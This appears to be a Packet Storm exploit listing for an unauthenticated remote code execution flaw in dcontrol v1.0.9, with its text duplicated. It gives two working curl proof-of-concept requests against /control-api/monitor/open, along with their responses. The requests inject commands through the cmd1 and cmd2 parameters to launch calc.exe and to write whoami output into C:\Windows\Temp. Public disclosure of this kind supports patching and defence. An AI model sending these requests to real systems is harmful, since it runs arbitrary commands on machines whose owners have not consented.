Description
dcontrol version 1.0.9 suffers from an unauthenticated remote code execution vulnerability via the /control-api/monitor/open endpoint...
Basic Information
ID
PACKETSTORM:219191
Published
Apr 20, 2026 at 00:00
Affected Product
Affected Versions
# Exploit Title: dcontrol v1.0.9 - Unauthenticated Remote Code Execution
(RCE)
# Date: 2026-04-18
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://github.com/dhjz/dcontrol
# Software Link:
https://github.com/dhjz/dcontrol/releases/download/1.0.9/dcontrol.exe
# Version: 1.0.9
# Tested on: Windows 10, Windows 11
# Description:
dcontrol v1.0.9 is vulnerable to unauthenticated Remote Code Execution (RCE)
via the /control-api/monitor/open endpoint. The application takes
user-supplied
input from the 'cmd1' and 'cmd2' URL parameters and passes them directly to
system command execution functions without any sanitization or validation.
# Proof of Concept 1:
Request:
curl "http://TARGET_IP:666/control-api/monitor/open?cmd1=calc.exe"
Response:
{"code":200,"msg":"操作成功","data":"calc.exe,"}
Result: Calculator.exe launches on the target system's desktop
# Proof of Concept 2:
Request:
curl "
http://TARGET_IP:666/control-api/monitor/open?cmd1=cmd.exe&cmd2=/c%20whoami%20%3E%20C
:\\Windows\\Temp\\whoami.txt"
Response:
{"code":200,"msg":"操作成功","data":"cmd.exe,/c whoami \u003e
C:\\Windows\\Temp\\whoami.txt"}
Result: whoami.txt is in c:\windows\temp\
(RCE)
# Date: 2026-04-18
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://github.com/dhjz/dcontrol
# Software Link:
https://github.com/dhjz/dcontrol/releases/download/1.0.9/dcontrol.exe
# Version: 1.0.9
# Tested on: Windows 10, Windows 11
# Description:
dcontrol v1.0.9 is vulnerable to unauthenticated Remote Code Execution (RCE)
via the /control-api/monitor/open endpoint. The application takes
user-supplied
input from the 'cmd1' and 'cmd2' URL parameters and passes them directly to
system command execution functions without any sanitization or validation.
# Proof of Concept 1:
Request:
curl "http://TARGET_IP:666/control-api/monitor/open?cmd1=calc.exe"
Response:
{"code":200,"msg":"操作成功","data":"calc.exe,"}
Result: Calculator.exe launches on the target system's desktop
# Proof of Concept 2:
Request:
curl "
http://TARGET_IP:666/control-api/monitor/open?cmd1=cmd.exe&cmd2=/c%20whoami%20%3E%20C
:\\Windows\\Temp\\whoami.txt"
Response:
{"code":200,"msg":"操作成功","data":"cmd.exe,/c whoami \u003e
C:\\Windows\\Temp\\whoami.txt"}
Result: whoami.txt is in c:\windows\temp\